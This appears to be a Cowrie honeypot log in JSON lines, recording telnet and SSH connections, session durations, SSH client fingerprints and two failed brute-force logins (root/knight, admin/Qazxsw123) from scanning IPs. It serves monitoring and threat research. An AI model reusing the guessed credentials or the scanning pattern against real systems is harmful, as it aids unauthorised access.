{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34772,"dst_ip":"159.203.135.109","dst_port":23,"session":"342f40fb537e","protocol":"telnet","message":"New connection: 64.227.9.242:34772 (159.203.135.109:23) [session: 342f40fb537e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:35.952508Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34282,"dst_ip":"10.17.0.5","dst_port":23,"session":"69face8bbefd","protocol":"telnet","message":"New connection: 188.208.141.113:34282 (10.17.0.5:23) [session: 69face8bbefd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:36.373981Z"}
{"eventid":"cowrie.session.closed","duration":48.116957664489746,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:41.108269Z","src_ip":"188.208.141.113","session":"09ff36c35e01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.52669954299927,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:43.467495Z","src_ip":"188.208.141.113","session":"7aa2bedc76af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.354302406311035,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:44.833333Z","src_ip":"188.208.141.113","session":"9b49e0f82fc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51450,"dst_ip":"10.17.0.5","dst_port":23,"session":"51f679add9d9","protocol":"telnet","message":"New connection: 188.208.141.113:51450 (10.17.0.5:23) [session: 51f679add9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:49.605122Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51456,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ae9836f009e","protocol":"telnet","message":"New connection: 188.208.141.113:51456 (10.17.0.5:23) [session: 0ae9836f009e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:49.632341Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51466,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9e6800303ab","protocol":"telnet","message":"New connection: 188.208.141.113:51466 (10.17.0.5:23) [session: b9e6800303ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:49.820606Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":57884,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec00fcdbcde8","protocol":"telnet","message":"New connection: 64.227.9.242:57884 (159.203.135.109:23) [session: ec00fcdbcde8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:52.141912Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47936,"dst_ip":"10.17.0.5","dst_port":23,"session":"98c39b814525","protocol":"telnet","message":"New connection: 188.208.141.113:47936 (10.17.0.5:23) [session: 98c39b814525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:53.648812Z"}
{"eventid":"cowrie.session.closed","duration":4.8665337562561035,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:54.471535Z","src_ip":"188.208.141.113","session":"51f679add9d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.26818013191223,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:54.940734Z","src_ip":"188.208.141.113","session":"ec4dd41f9b5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.14432621002197,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:58.094829Z","src_ip":"64.227.9.242","session":"04fa2aa64378","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34038,"dst_ip":"159.203.135.109","dst_port":23,"session":"94cdd9cedd2b","protocol":"telnet","message":"New connection: 64.227.9.242:34038 (159.203.135.109:23) [session: 94cdd9cedd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:35:59.292634Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37606,"dst_ip":"10.17.0.5","dst_port":23,"session":"bab91c218a7b","protocol":"telnet","message":"New connection: 188.208.141.113:37606 (10.17.0.5:23) [session: bab91c218a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:01.178579Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37612,"dst_ip":"10.17.0.5","dst_port":23,"session":"46d928fce9bf","protocol":"telnet","message":"New connection: 188.208.141.113:37612 (10.17.0.5:23) [session: 46d928fce9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:01.448008Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37626,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd59ba3619ad","protocol":"telnet","message":"New connection: 188.208.141.113:37626 (10.17.0.5:23) [session: fd59ba3619ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:01.527693Z"}
{"eventid":"cowrie.session.closed","duration":39.04764938354492,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:02.704108Z","src_ip":"188.208.141.113","session":"5a8b6191b129","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37642,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd76c34e0709","protocol":"telnet","message":"New connection: 188.208.141.113:37642 (10.17.0.5:23) [session: bd76c34e0709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:05.470116Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37656,"dst_ip":"10.17.0.5","dst_port":23,"session":"38a46c4b3be5","protocol":"telnet","message":"New connection: 188.208.141.113:37656 (10.17.0.5:23) [session: 38a46c4b3be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:05.707911Z"}
{"eventid":"cowrie.session.closed","duration":1.8536267280578613,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:07.561405Z","src_ip":"188.208.141.113","session":"38a46c4b3be5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37666,"dst_ip":"10.17.0.5","dst_port":23,"session":"d718c76e3c15","protocol":"telnet","message":"New connection: 188.208.141.113:37666 (10.17.0.5:23) [session: d718c76e3c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:08.714189Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.216.137.138","src_port":53019,"dst_ip":"10.17.0.5","dst_port":23,"session":"f93e02503eea","protocol":"telnet","message":"New connection: 115.216.137.138:53019 (10.17.0.5:23) [session: f93e02503eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:10.028850Z"}
{"eventid":"cowrie.session.closed","duration":34.701581954956055,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:10.653965Z","src_ip":"64.227.9.242","session":"342f40fb537e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35632,"dst_ip":"10.17.0.5","dst_port":23,"session":"3668f630af30","protocol":"telnet","message":"New connection: 188.208.141.113:35632 (10.17.0.5:23) [session: 3668f630af30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:12.915200Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.181.15.223","src_port":55689,"dst_ip":"159.203.135.109","dst_port":23,"session":"f536c6643871","protocol":"telnet","message":"New connection: 65.181.15.223:55689 (159.203.135.109:23) [session: f536c6643871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:13.231228Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":34602,"dst_ip":"159.203.135.109","dst_port":22,"session":"52290fe15a1c","protocol":"ssh","message":"New connection: 193.24.211.95:34602 (159.203.135.109:22) [session: 52290fe15a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:15.225430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:15.231045Z","src_ip":"193.24.211.95","session":"52290fe15a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:15.342543Z","src_ip":"193.24.211.95","session":"52290fe15a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"knight","message":"login attempt [root/knight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:15.793734Z","src_ip":"193.24.211.95","session":"52290fe15a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":52274,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc7b23592907","protocol":"telnet","message":"New connection: 64.227.9.242:52274 (159.203.135.109:23) [session: fc7b23592907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:16.404922Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:16.908849Z","src_ip":"193.24.211.95","session":"52290fe15a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.62751221656799,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:20.882262Z","src_ip":"188.208.141.113","session":"7903fd4562b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.353729248046875,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:22.382476Z","src_ip":"115.216.137.138","session":"f93e02503eea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34386,"dst_ip":"159.203.135.109","dst_port":23,"session":"5193affe5525","protocol":"telnet","message":"New connection: 64.227.9.242:34386 (159.203.135.109:23) [session: 5193affe5525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:22.768402Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37978,"dst_ip":"10.17.0.5","dst_port":23,"session":"f60dd7f5ec2b","protocol":"telnet","message":"New connection: 188.208.141.113:37978 (10.17.0.5:23) [session: f60dd7f5ec2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:23.639801Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37988,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d9835d2a2cf","protocol":"telnet","message":"New connection: 188.208.141.113:37988 (10.17.0.5:23) [session: 2d9835d2a2cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:24.045861Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37998,"dst_ip":"10.17.0.5","dst_port":23,"session":"35d47f92f87d","protocol":"telnet","message":"New connection: 188.208.141.113:37998 (10.17.0.5:23) [session: 35d47f92f87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:24.085166Z"}
{"eventid":"cowrie.session.closed","duration":34.14036679267883,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:26.282166Z","src_ip":"64.227.9.242","session":"ec00fcdbcde8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.85422730445862,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:27.674697Z","src_ip":"188.208.141.113","session":"b9e6800303ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.27804636955261,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:29.651933Z","src_ip":"188.208.141.113","session":"69face8bbefd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53316,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c56755be1ba","protocol":"telnet","message":"New connection: 188.208.141.113:53316 (10.17.0.5:23) [session: 5c56755be1ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:31.140752Z"}
{"eventid":"cowrie.session.closed","duration":35.665589570999146,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:34.958131Z","src_ip":"64.227.9.242","session":"94cdd9cedd2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":40424,"dst_ip":"10.17.0.5","dst_port":22,"session":"95601132703a","protocol":"ssh","message":"New connection: 1.235.192.214:40424 (10.17.0.5:22) [session: 95601132703a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:37.110171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:37.116559Z","src_ip":"1.235.192.214","session":"95601132703a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:37.300911Z","src_ip":"1.235.192.214","session":"95601132703a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Qazxsw123","message":"login attempt [admin/Qazxsw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:38.071604Z","src_ip":"1.235.192.214","session":"95601132703a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.13946771621704,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:38.587360Z","src_ip":"188.208.141.113","session":"46d928fce9bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:39.258900Z","src_ip":"1.235.192.214","session":"95601132703a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.13792562484741,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:39.770128Z","src_ip":"188.208.141.113","session":"0ae9836f009e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":54996,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e89f465519c","protocol":"telnet","message":"New connection: 64.227.9.242:54996 (159.203.135.109:23) [session: 0e89f465519c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:41.553026Z"}
{"eventid":"cowrie.session.closed","duration":49.72858500480652,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:43.377275Z","src_ip":"188.208.141.113","session":"98c39b814525","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.868754863739014,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:44.396315Z","src_ip":"188.208.141.113","session":"fd59ba3619ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":33990,"dst_ip":"159.203.135.109","dst_port":23,"session":"44d7d5fed233","protocol":"telnet","message":"New connection: 64.227.9.242:33990 (159.203.135.109:23) [session: 44d7d5fed233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:48.133518Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43970,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccf4bb63387d","protocol":"telnet","message":"New connection: 188.208.141.113:43970 (10.17.0.5:23) [session: ccf4bb63387d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:48.198620Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.184.121.183","src_port":37822,"dst_ip":"10.17.0.5","dst_port":23,"session":"83b4fab2a756","protocol":"telnet","message":"New connection: 60.184.121.183:37822 (10.17.0.5:23) [session: 83b4fab2a756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:48.661998Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43972,"dst_ip":"10.17.0.5","dst_port":23,"session":"01234c21d6b8","protocol":"telnet","message":"New connection: 188.208.141.113:43972 (10.17.0.5:23) [session: 01234c21d6b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:49.344944Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":35652,"dst_ip":"159.203.135.109","dst_port":23,"session":"724068c035e3","protocol":"telnet","message":"New connection: 64.227.9.242:35652 (159.203.135.109:23) [session: 724068c035e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:49.660573Z"}
{"eventid":"cowrie.session.closed","duration":48.698853492736816,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:49.877312Z","src_ip":"188.208.141.113","session":"bab91c218a7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.712950468063354,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:50.117746Z","src_ip":"64.227.9.242","session":"fc7b23592907","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.16783547401428,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:50.637799Z","src_ip":"188.208.141.113","session":"bd76c34e0709","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.74337649345398,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:51.457420Z","src_ip":"188.208.141.113","session":"d718c76e3c15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45020,"dst_ip":"10.17.0.5","dst_port":23,"session":"400486ed885e","protocol":"telnet","message":"New connection: 188.208.141.113:45020 (10.17.0.5:23) [session: 400486ed885e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:53.528045Z"}
{"eventid":"cowrie.session.closed","duration":35.198164224624634,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:57.966433Z","src_ip":"64.227.9.242","session":"5193affe5525","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45024,"dst_ip":"10.17.0.5","dst_port":23,"session":"1919d6fc5580","protocol":"telnet","message":"New connection: 188.208.141.113:45024 (10.17.0.5:23) [session: 1919d6fc5580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:58.496246Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45038,"dst_ip":"10.17.0.5","dst_port":23,"session":"432092720268","protocol":"telnet","message":"New connection: 188.208.141.113:45038 (10.17.0.5:23) [session: 432092720268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:36:58.798518Z"}
{"eventid":"cowrie.session.closed","duration":12.251575231552124,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:00.913474Z","src_ip":"60.184.121.183","session":"83b4fab2a756","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.84004020690918,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:03.755036Z","src_ip":"188.208.141.113","session":"3668f630af30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.264975547790527,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:03.761039Z","src_ip":"188.208.141.113","session":"1919d6fc5580","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.966612339019775,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:37:04.606309Z","src_ip":"188.208.141.113","session":"f60dd7f5ec2b","protocol":"telnet"}
